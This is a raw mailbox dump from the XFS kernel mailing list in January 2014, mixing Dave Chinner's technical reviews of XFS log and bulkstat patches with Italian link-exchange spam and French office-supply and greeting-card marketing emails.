http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143630 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140101180038.11E41106C15E@cuda.sgi.com> --b1_666f0068db1223cd09f211c79fd56219 Content-Type: text/plain; charset = "UTF-8" Content-Transfer-Encoding: 8bit Salve, Il mio nome è Paola, Vorrei suggerire uno scambio di link gratuito con xfs.org o con qualunque altro sito di cui lei sia in possesso. Le farà piacere sapere che sto lavorando su un ventaglio di progetti di qualità per lo scambio di link gratuiti e che sono sicuro che questo scambio possa essere fruttuoso e produttivo per entrambi. La prego di farmi sapere se è interessato ad avere più dettagli, o se ha qualche opinione da riferirmi in materia. Attendo una sua mail! Paola Casale http://www.trafficopertutti.com/ http://it.linkedin.com/pub/paola-casale/7b/3bb/995 --b1_666f0068db1223cd09f211c79fd56219 Content-Type: text/html; charset = "UTF-8" Content-Transfer-Encoding: 8bit
Salve,

Il mio nome è Paola,

Vorrei suggerire uno scambio di link gratuito con xfs.org o con qualunque altro sito di cui lei sia in possesso.
Le farà piacere sapere che sto lavorando su un ventaglio di progetti di qualità per lo scambio di link gratuiti e che sono sicuro che questo scambio possa essere fruttuoso e produttivo per entrambi.

La prego di farmi sapere se è interessato ad avere più dettagli, o se ha qualche opinione da riferirmi in materia.

Attendo una sua mail!

Paola Casale
http://www.trafficopertutti.com/
http://it.linkedin.com/pub/paola-casale/7b/3bb/995
--b1_666f0068db1223cd09f211c79fd56219-- From david@fromorbit.com Wed Jan 1 18:45:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6739E7F55 for ; Wed, 1 Jan 2014 18:45:14 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4EA7B304053 for ; Wed, 1 Jan 2014 16:45:11 -0800 (PST) X-ASG-Debug-ID: 1388623508-04cb6c537cb27c80001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id vCWtxdwt6Y2L7uMC for ; Wed, 01 Jan 2014 16:45:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsMJABy2xFJ5LHyk/2dsb2JhbABYgwuDOrEZhViBFRd0giUBAQEDAScTHBYNBQsIAxUDCSUPBSUDIROHfAfELRcWjwcHhDYBA4xbizuHQYMLh0mBb4FSKA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 02 Jan 2014 11:15:07 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VyWPH-0001ok-Up; Thu, 02 Jan 2014 11:45:03 +1100 Date: Thu, 2 Jan 2014 11:45:03 +1100 From: Dave Chinner To: Jeff Liu Cc: Mark Tinguely , "xfs@oss.sgi.com" Subject: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing Message-ID: <20140102004503.GN20579@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/4] xfs: wake up cil->xc_commit_wait while removing ctx from cil->xc_committing References: <52B98292.5040002@oracle.com> <52C18F56.70709@sgi.com> <52C4286C.5040007@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52C4286C.5040007@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1388623508 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143640 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Jan 01, 2014 at 10:38:36PM +0800, Jeff Liu wrote: > On 12/30 2013 23:20 PM, Mark Tinguely wrote: > > On 12/24/13 06:48, Jeff Liu wrote: > >> From: Jie Liu > >> > >> I can easily to hit a hang up while running fsstress and shutting down > >> XFS on SSD via the tests below: > > >> > >> Task1 Task2 > >> > >> list_add(&ctx->committing,&cil->xc_committing); > >> > >> xlog_wait(&cil->xc_commit_wait..) > >> schedule()... > >> > >> Aborting!! list_del(&ctx->committing); > >> wake_up_all(&cil->xc_commit_wait);<-- MISSING! > >> > >> As a result, we should handle this situation in xlog_cil_committed(). > >> > >> Signed-off-by: Jie Liu > >> --- > >> fs/xfs/xfs_log_cil.c | 2 ++ > >> 1 file changed, 2 insertions(+) > >> > >> diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > >> index 5eb51fc..8c7e9c7 100644 > >> --- a/fs/xfs/xfs_log_cil.c > >> +++ b/fs/xfs/xfs_log_cil.c > >> @@ -406,6 +406,8 @@ xlog_cil_committed( > >> > >> spin_lock(&ctx->cil->xc_push_lock); > >> list_del(&ctx->committing); > >> + if (abort) > >> + wake_up_all(&ctx->cil->xc_commit_wait); > >> spin_unlock(&ctx->cil->xc_push_lock); > >> > >> xlog_cil_free_logvec(ctx->lv_chain); > > > > Hi Jeff, I hope you had a good break, > Thanks :) > > > > So you are saying the wakeup in the CIL push error path missing? > Yes. > > > I agree with that. But I don't like adding a new wake up to > > xlog_cil_committed(), which is after the log buffer is written. Hi Mark, any particular reason why you don't like this? It would be great if you could explain why you don't like something up front so we don't have to guess at your reasons or wait for another round trip in the conversation to find them out.... > IMO this callback would be called if any problem is happened before > the log buffer is written as well, e.g, > xlog_cil_push()->xfs_log_notify() <-- failed > | > |->xlog_cil_committed() Right, it's the generic CIL commit handler and it can be called directly or from log IO completion. The question is this: it is safe to wake up waiters from log IO completion if that is where an abort is first triggered from (i.e. on log IO error). From what I can see, it is safe to do the wakeup on abort because the iclog iwe attach the IO completion callback to in xlog_cil_push() cannot be put under IO until we release the reference gained in xfs_log_done(). But this raises an interesting question - the wakeup in xlog_cil_push() is done before the log IO for the checkpoint is complete, so the wakeup is occurring on checkpoint processing completion, not iclog IO completion. i.e. the actual log force sleeping still needs to wait for log IO completion to occur after then CIL has been pushed. This occurs in the _xfs_log_force{_lsn}() wrappers, where iclog state changes are waited for. Why is this important? The iclog write/flush wakeups are all done from IO completion context, except for the force shutdown case, which calls xlog_state_do_callback(log, XFS_LI_ABORTED, NULL); to trigger wakeups and aborts via the log IO completion callbacks on all the outstanding iclogs. IOWs, we've already got a design pattern that says: - run log force wakeups from IO completions - on shutdown, run IO completions directly to abort pending log operations So, really, issuing wakeups from iclog IO completion on log aborts or errors is exactly what we currently do to ensure that shutdowns don't leave processes waiting on log force completion behind. So from that perspective, adding the wakeup on abort to xlog_cil_committed() seems like the right approach to take. Actually, there's more issues here: xlog_cil_push() leaks a reference to the iclog when it triggers the error path via xfs_log_notify() failure. At this point we always need to release the iclog. Hence if xfs_log_notify() were to always add the IO completion to the iclog and xlog_cil_committed() issued wakeups on abort errors, then we could completely ignore the log state in xfs_log_notify() and have xfs_log_release_iclog() capture the IO error and the subsequent shutdown would handle the aborts and wakeups.... Hmmm, then xfs_log_notify could go away, and the callback list could be made a lockless list and the ic_callback_lock could go away, too.... > Besides, the CTX will be removed from the committing list here but > there might still have waiters sleeping on it. Right, if we get an abort from log IO completion, then we may not have any other wakeup vector that can be triggered. Triggering them from IO completion ensures that even forced shutdowns have a trigger for wakeups... SO, for the hang issue, I think the minimal patch is OK, but we should look to clean up the logic and fix the leaked iclog reference on xfs_log_notify() failure as well. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Jan 1 19:12:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D26CC7F55 for ; Wed, 1 Jan 2014 19:12:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E1EBAC007 for ; Wed, 1 Jan 2014 17:12:49 -0800 (PST) X-ASG-Debug-ID: 1388625166-04cbb04167b21990001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id EC7edjyqRUGg9Rba for ; Wed, 01 Jan 2014 17:12:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsYJAMS7xFJ5LHyk/2dsb2JhbABYgwuDOlKwR4VYgRUXdIIlAQEBBCMECwEjIxAIAxUDAgIFIQICDwUlAyETiAOqcplDFxaBE410B4JugUgEmBaKTIdJg0Eo Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 02 Jan 2014 11:42:46 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VyWq3-0001rb-CH; Thu, 02 Jan 2014 12:12:43 +1100 Date: Thu, 2 Jan 2014 12:12:43 +1100 From: Dave Chinner To: Jeff Liu Cc: Mark Tinguely , "xfs@oss.sgi.com" Subject: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation Message-ID: <20140102011243.GO20579@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/10] xfs: xfs_bulkstat_single consolidation References: <52BEB3E7.2080706@oracle.com> <52C1BCE5.1070707@sgi.com> <52C293A5.1000606@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <52C293A5.1000606@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1388625166 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143641 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 31, 2013 at 05:51:33PM +0800, Jeff Liu wrote: > On 2013年12月31日 02:35, Mark Tinguely wrote: > > On 12/28/13 05:20, Jeff Liu wrote: > >> From: Jie Liu > >> > >> In xfs_bulkstat_single(), xfs_bulkstat_one() and xfs_bulkstat() might > >> return different error if either call failed, we'd better return the > >> proper error in this case. Moreover, the function argument done is > >> useless in terms of xfs_ioc_bulkstat(), hence we can get rid of it. > >> > >> Signed-off-by: Jie Liu > >> --- > > > > Yes, I know dmapi is not loved here but SGI still uses it and it wants > > the done flag still.. > My mistake. At that time, I noticed that there has comments about this > in xfs_ioc_bulkstat(), i.e, > > /* done = 1 if there are more stats to get and if bulkstat */ > /* should be called again (unused here, but used in dmapi) */ > > However, I failed to find out why it would be called by going through > the dmapi source code... > > I'll keep this argument in next round of post. Well, let's consider how DMAPI uses it first. dmapi_ioctl() use_rvp = 0; case DM_GET_BULKALL: use_rvp = 1; dm_get_bulkattr_rvp(*rvp) fsys_vector->get_bulkattr_rvp(rvp) xfs_dm_get_bulkall_rvp(*rvalp) xfs_bulkstat(&done) *rvalp = !done ? 1 : 0; if (use_rvp && !error) return rvp; Ok, so it returns the "done" status to userspace. How is "done" calculated? if (agno >= mp->m_sb.sb_agcount) { /* * If we ran out of filesystem, mark lastino as off * the end of the filesystem, so the next call * will return immediately. */ *lastinop = (xfs_ino_t)XFS_AGINO_TO_INO(mp, agno, 0); *done = 1; } else *lastinop = (xfs_ino_t)lastino; Oh, so it's nothing special - the lastinop is pointed outside the current filesystem bounds and done is set to 1. IOWs, the dmapi code could easily generate the "done" value based on the returned lastinop value. i.e. xfs_dm_get_bulkall_rvp() can do this after the xfs_bulkstat() call: if (XFS_INO_TO_AGNO(mp, lastinop) >= mp->m_sb.sb_agcount) *rvalp = 0; else *rvalp = 1; And that means we can remove the done parameter from xfs_bulkstat() and no longer have to care about what DMAPI requires. Hence I think the patch as it stands does not impact on DMAPI functionality and so it just fine to clean up... Cheers, Dave. -- Dave Chinner david@fromorbit.com From pam=news-zetrend.com@mlgnusa.com Wed Jan 1 20:58:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 786C47F55 for ; Wed, 1 Jan 2014 20:58:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 759348F8033 for ; Wed, 1 Jan 2014 18:58:04 -0800 (PST) X-ASG-Debug-ID: 1388631474-04cbb04169b256a0001-NocioJ Received: from mail7.mlgnusa.com (mail7.mlgnusa.com [194.19.244.214]) by cuda.sgi.com with ESMTP id SjX0nrHzNeXDrBGy for ; Wed, 01 Jan 2014 18:57:55 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.214 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=3NLLgjAM3ZKGnWeOGezXrOD/iO8=; b=MIhYUbK7qr7JePk1r9T0RhNYN30NBpP9Z1I3h1ZwfaUsXeNbGXnG+Vro1ez/poBH8+vD3dYRyM18 0mQgEx/hdSJFZ+3PH+acu98+uU71res62S2c8jzJe0VWuhPjPkapOskfwbPnM9gY7Nmv7P8iarct G2QO9wMf3AAHQqf7uNg= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=ikfyseV2cy+Y1YaxFYrEdYzKLFyZWY/6GfWRXEU4Zp+FQxYz6PK7tgxSuRmSocVbDHLdjSWEotir BuLc4Iv0oaOYNsKgDfhi8Dlbgn/YKhzbmnD7/lJ/N7oeMKl4bGKvVe5ZCS2pikjciMFUYUjZJudF QsOTDeBMlkwFScYbilg=; Received: by mail7.mlgnusa.com id hojarc1fblcr for ; Thu, 2 Jan 2014 04:57:53 +0200 (envelope-from ) Date: Thu, 2 Jan 2014 04:32:42 +0200 To: From: =?utf-8?Q?Mat=C3=A9riel_de_bureau?= Reply-To: =?utf-8?Q?Mat=C3=A9riel_de_bureau?= Subject: Divisez par deux vos couts d'impressions Message-ID: <82ea83c1576030994de41860040d6e8f@mlgnusa.com> X-ASG-Orig-Subj: Divisez par deux vos couts d'impressions X-Priority: 3 X-Mailer: MailiGen Mailer - **CID12259c10d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.12259c10 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.12259c10 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=12259c10&e=d09c0023 List-Unsubscribe: , Sender: "=?utf-8?Q?Mat=C3=A9riel_de_bureau?=" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_d40eaa5ce54318d26a763b8334288d6c" X-Barracuda-Connect: mail7.mlgnusa.com[194.19.244.214] X-Barracuda-Start-Time: 1388631475 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143643 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_d40eaa5ce54318d26a763b8334288d6c Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Fusce augue magna, lacinia in tempor cursus, sollicitudin tempor leo. Sed consequat nunc a diam semper at suscipit ipsum pretium. Quisque dignissim nibh et enim ultricies rhoncus. In fringilla adipiscing neque, et lobortis augue volutpat eget. Quisque sagittis luctus lectus, at pellentesque dolor hendrerit ut. ========================================== Ce courriel a été envoyé par Matériel de bureau à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=12259c10&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=12259c10&ln=fr --b1_d40eaa5ce54318d26a763b8334288d6c Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Pour toute commande supérieure à 49 €
Pour toute commande supérieure
à 49 € Pour
toute commande supérieure à
49 € Pour toute
commande supérieure à 49
€ Pour toute commande
supérieure à 49 €
Pour toute commande supérieure
à Et en ce moment :
Pour toute commande supérieure à 49 €
49
€ Pour toute commande
supérieure à 49 €
Pour
100 feuilles A4
80 gr / m²
4 piles LR6
Duracell
Livraison
colissimo
Valeur 11,75 €
toute
commande supérieure à 49
€ Pour bénéficier de cette offre, utilisez le code = Pour PPP2013 toute
commande 2000 offres disponibles...pas une de plus
supérieure à
49 € Pour toute
commande supérieure à 49
€ Sélectionnez la marque de votre imprimante Pour
toute commande supérieure à
49 € Pour
Toutes les
marques
toute
commande supérieure à 49
€ Pour toute commande
Ce courriel a été envoyé par Matériel de bureau à xfs@oss.sgi.com.
Zetrend | 2, Place Louis Pradel, lyon, 60001, France
Pourquoi je reçois ce mail?
Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
--b1_d40eaa5ce54318d26a763b8334288d6c-- From pam=news-zetrend.com@mlgnusa.com Wed Jan 1 22:07:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 424E17F56 for ; Wed, 1 Jan 2014 22:07:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3AF9A304066 for ; Wed, 1 Jan 2014 20:07:45 -0800 (PST) X-ASG-Debug-ID: 1388635662-04cbb04167b27a90001-NocioJ Received: from mail7.mlgnusa.com (mail7.mlgnusa.com [194.19.244.214]) by cuda.sgi.com with ESMTP id Ohuke3fkg1IOEcNm for ; Wed, 01 Jan 2014 20:07:43 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.214 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=eKKrvSBtN4natulE94FKJD0vO6Y=; b=BMekrFUi046Dj3epo9i34oh2dt6x2eDcL+64LGgIIwLuFXvU8LbH1GDOjxniV1KflcP0oUrhdCIW TIWV/4PTFD8ZluK3EyYcppww8c52iXyJ00r/MbdAE71S398Qp8zjpqAJjxoa7SvTq88yk3dVEBLB wWXNz++obkeAEBREFLE= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=NDKvImTWe5Am176dvB6oJlc7ffKBk5ihNeNl2+nCDgRTWp20rq3FZLSeuk1EmvqayIQTGEqld8Hr zQO8+rILwKSXyyF8AhGRVQQaFc0ybF1Xw0LbNDvV8fbH+vxVmOXdRFhMMr/JOJjDCzbjUwGLp4lE HT9c+ragedbs9ziaeVY=; Received: by mail7.mlgnusa.com id hojj0u1fblcb for ; Thu, 2 Jan 2014 06:07:41 +0200 (envelope-from ) Date: Thu, 2 Jan 2014 06:00:49 +0200 To: From: Ooprint par Nl-Promos Reply-To: Ooprint par Nl-Promos Subject: =?utf-8?Q?-5_euros_sur_vos_cartes_de_v=C5=93ux_!_Commandez_maintenant_!?= Message-ID: <3206e525ec420aa1111e49cdf23be747@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?-5_euros_sur_vos_cartes_de_v=C5=93ux_!_Commandez_maintenant_!?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDaf98d328d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.af98d328 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.af98d328 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=af98d328&e=d09c0023 List-Unsubscribe: , Sender: "Ooprint par Nl-Promos" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_c0811ce720ef5bd41880da5ecd6f535a" X-Barracuda-Connect: mail7.mlgnusa.com[194.19.244.214] X-Barracuda-Start-Time: 1388635662 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143645 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_c0811ce720ef5bd41880da5ecd6f535a Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Lorem ipsum Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec ut risus id lacus rutrum lobortis. Suspendisse eget risus id sapien luctus pharetra eget sed metus. Phasellus a leo lacus. Donec arcu massa, imperdiet sed ullamcorper eu, fringilla id dui. Quisque sit amet dolor mi, vel tempor lectus. Sed magna justo, tincidunt at sollicitudin quis, sodales vitae massa. Curabitur hendrerit lectus nibh. Duis at arcu sem. Pellentesque at elit sit amet nisl tristique tempus. Integer vel accumsan justo. Suspendisse porttitor, leo in ultrices viverra, sem magna convallis turpis, ac accumsan turpis tellus a eros. Fusce augue magna, lacinia in tempor cursus, sollicitudin tempor leo. Sed consequat nunc a diam semper at suscipit ipsum pretium. Quisque dignissim nibh et enim ultricies rhoncus. In fringilla adipiscing neque, et lobortis augue volutpat eget. Quisque sagittis luctus lectus, at pellentesque dolor hendrerit ut. ========================================== Ce courriel a été envoyé par Ooprint par Nl-Promos à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=af98d328&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=af98d328&ln=fr --b1_c0811ce720ef5bd41880da5ecd6f535a Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit
Cartes de voeux 2014
Cartes de voeux 2014
Cartes de voeux 2014 Cartes de voeux 2014
Cartes de voeux 2014
Cartes de voeux 2014 Cartes de voeux 2014
Cartes de voeux 2014 Cartes de voeux 2014
Vos cartes de voeux 2014
de qualité professionnelle !

3 choix papiers :
Haut de gamme 300 g verni
Texture superieur (en option)
100% recycle 300 g, pour la Collection Nature

Avec ooprint :
Personnalisation textes et logo
Enveloppes haut de gamme en option.

Impression et livraison
Impression en 24h ouvrees (pour toute commande inferieure a 500 ex)
Livraison en 24h ouvrees avec l'option DHL
Cartes de voeux 2014
Cartes de voeux 2014
Ce courriel a été envoyé par Ooprint par Nl-Promos à xfs@oss.sgi.com.
Zetrend | 2, Place Louis Pradel, lyon, 60001, France
Pourquoi je reçois ce mail?
Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
